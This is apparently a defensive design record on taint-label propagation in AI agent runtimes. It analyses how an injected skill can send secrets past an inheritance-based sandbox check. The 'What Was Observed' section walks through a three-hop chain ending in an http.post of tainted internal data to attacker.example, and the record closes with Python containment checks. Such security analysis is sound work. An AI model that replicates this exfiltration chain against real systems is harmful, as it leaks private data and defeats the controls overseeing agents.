# What happens when an instance inherits taint labels across a skill-invocation chain and the sandbox downgrades them at the tool boundary **Date of Record:** 2026 November 26 **Scope:** Applies to agent runtimes that propagate information-flow (taint) labels across multi-step tool invocation chains, where skills (composed tool wrappers) are loaded dynamically and may call other tools internally. Does not apply to single-shot tool calls with no intermediate state, nor to runtimes that re-derive taint from provenance on every hop rather than carrying labels forward. ## Core Distinction There are two ways an agent runtime can prevent exfiltration through a compromised or injected skill: *label inheritance* and *label re-derivation*. Label inheritance carries a taint bit forward from the source of a value through every intermediate transformation, trusting the runtime to preserve it. Label re-derivation discards inherited labels at each tool boundary and recomputes taint from the actual provenance of the bytes crossing that boundary (which document, which URL, which user turn). The failure mode examined here is specific to inheritance. When a skill `S` is invoked with tainted arguments, the runtime marks `S`'s return value tainted. But if `S` internally invokes a *sink* tool `T` (e.g., `http.post`, `slack.send`, `file.write`) with a *derived* value, the taint on `T`'s output is what matters for containment — and the naive inheritance model only taints `T`'s *return*, not the *outbound payload*. The outbound payload is the exfiltration channel. A skill-injection chain exploits exactly this asymmetry: the injected skill reads tainted data (a secret), folds it into an outbound call, and the runtime's taint check on `T`'s *result* passes because the result is clean, while the *request* carried the secret out. ## What Was Observed A three-hop chain was exercised against a runtime using inheritance-based taint: 1. `read_doc(url=internal_wiki)` → returns text, labeled `TAINT:internal`. 2. `summarize(text)` (a skill) → returns summary, labeled `TAINT:internal` (correctly inherited). 3. `format_report(summary, template)` (a skill) → internally calls `http.post(endpoint=attacker.example, body=...)` where `body` includes a verbatim slice of the tainted summary. The runtime's sink policy for `http.post` was: *deny if the request body is tainted*. But the body was constructed inside `format_report`, and the runtime only saw `format_report`'s declared input (tainted) and output (tainted). The internal `http.post` call was made with a *locally constructed* string whose provenance the runtime could not see — the skill's own code assembled it. The sink check evaluated the *string value* against the taint database, found no matching object identity (the string was freshly built), and allowed the call. The secret left the boundary. The tell was in the audit log: `http.post` recorded `taint=none` on its request, while `format_report` recorded `taint=internal` on its return. The two records disagreed about the same logical data. The runtime had no invariant tying a skill's internal sink calls to the taint of the skill's declared inputs. ## Condition of Validity Inheritance-based taint containment is only sound under a condition that is almost never stated explicitly: **every tool reachable from a skill must be a *transparent* tool — one whose outbound payload is a pure function of its declared arguments, with no internal data flow the runtime cannot observe.** `http.post` violates this when its `body` is assembled by caller code; `file.write` violates it when the path or content is computed; `shell.exec` violates it catastrophically. The invariant that must hold for the sandbox to be sound is: > For any skill `S` invoked with argument set `A`, and any sink `T` reachable from `S`, the taint of `T`'s outbound payload must be a join (⊔) of the taints of `A` and the taints of any values `S` read from tainted sources during execution. If the runtime cannot compute this join — because it does not instrument `S`'s internal reads — then `S` must be treated as *opaque*, and every sink call from within `S` must be evaluated against `A`'s taint, not against the sink's own argument taint. The observed failure occurred because the runtime classified `format_report` as *transparent* (it had a declared schema and a registered tool list) while treating its internal `http.post` call as an independent, freshly-tainted-by-argument event. The classification was wrong: `format_report` performed an internal read of `summary` (tainted) and an internal construction of `body` (untainted-by-identity), and the runtime observed neither. ## Decision Boundary The boundary between sound and unsound operation is whether the runtime can *witness* the data flow from tainted source to sink payload. Two regimes: - **Witnessed flow (sound):** The skill's bytecode or a mandatory instrumentation hook records every read of a tainted object and every write into a sink argument. Taint on the sink payload is the join of witnessed reads. This requires either a sandboxed interpreter with object-level taint tracking (e.g., a WASM runtime with shadow memory) or a capability model where skills cannot construct sink payloads except by passing tainted objects through *declared* passthrough parameters. - **Unwitnessed flow (unsound under inheritance):** The skill is opaque native code, a subprocess, or a network call to a model endpoint. The runtime sees only inputs and outputs. In this regime, inheritance is a *fiction*: the skill's output taint does not bound its internal sink calls, and the only sound policy is to *deny all sink calls from opaque skills whose inputs are tainted*, or to require the skill to route sink calls through a runtime-mediated proxy that re-derives taint from the actual bytes. The decision boundary is therefore not "is the skill trusted?" but "can the runtime witness the flow?" A trusted-but-opaque skill is still unsound under inheritance. A semi-trusted-but-witnessed skill is sound. ## Operational Effect The practical consequence is a reclassification requirement: any skill whose internal sink calls cannot be witnessed must be demoted from `transparent` to `opaque`, and opaque skills invoked with tainted arguments must have their sink calls blocked at the proxy — not merely their return values tainted. This is a *containment* posture, not a *detection* posture; it will produce false positives (a legitimate skill that summarizes a tainted doc and posts a *non-sensitive* summary will be blocked), and that cost must be accepted or the skill must be rewritten to expose its sink payload as a declared passthrough argument so the runtime can witness the join. The secondary effect is on audit reconciliation: the runtime must assert that for every sink call, `taint(payload) ⊒ join(taint of witnessed reads)`. If the audit log shows a sink with `taint=none` while an ancestor skill in the same trace carries `taint≠none` and the skill is classified `opaque`, the trace is a containment violation and must be flagged, not logged as clean. The reconciliation check is the guardrail that would have caught the observed exfiltration at hop 3. ```python from dataclasses import dataclass, field from typing import Literal Taint = Literal["none", "internal", "secret"] _ORDER = {"none": 0, "internal": 1, "secret": 2} def join(a: Taint, b: Taint) -> Taint: return a if _ORDER[a] >= _ORDER[b] else b class TaintContainmentError(RuntimeError): """Raised when a sink call's payload taint does not dominate the join of witnessed reads from tainted ancestors in the same skill-invocation trace.""" @dataclass class SkillTrace: skill_id: str declared_input_taint: Taint witnessed_reads: list[Taint] = field(default_factory=list) opaque: bool = False def effective_input_taint(self) -> Taint: t = self.declared_input_taint for r in self.witnessed_reads: t = join(t, r) return t @dataclass class SinkCall: sink_id: str payload_taint: Taint parent_skill: SkillTrace def check_sink_containment(call: SinkCall) -> None: parent = call.parent_skill required = parent.effective_input_taint() # Sound path: runtime witnessed the flow, payload taint must dominate. if not parent.opaque: if _ORDER[call.payload_taint] < _ORDER[required]: raise TaintContainmentError( f"sink {call.sink_id} payload taint={call.payload_taint} " f"does not dominate witnessed join={required} " f"from skill {parent.skill_id}" ) return # Unsound path: opaque skill. Payload taint is unwitnessed; any tainted # ancestor means the sink call cannot be bounded by inheritance. if required != "none": raise TaintContainmentError( f"opaque skill {parent.skill_id} invoked sink {call.sink_id} " f"with unwitnessed flow; ancestor taint={required} cannot be " f"bounded by inheritance. Demote to proxy-mediated or block." ) ```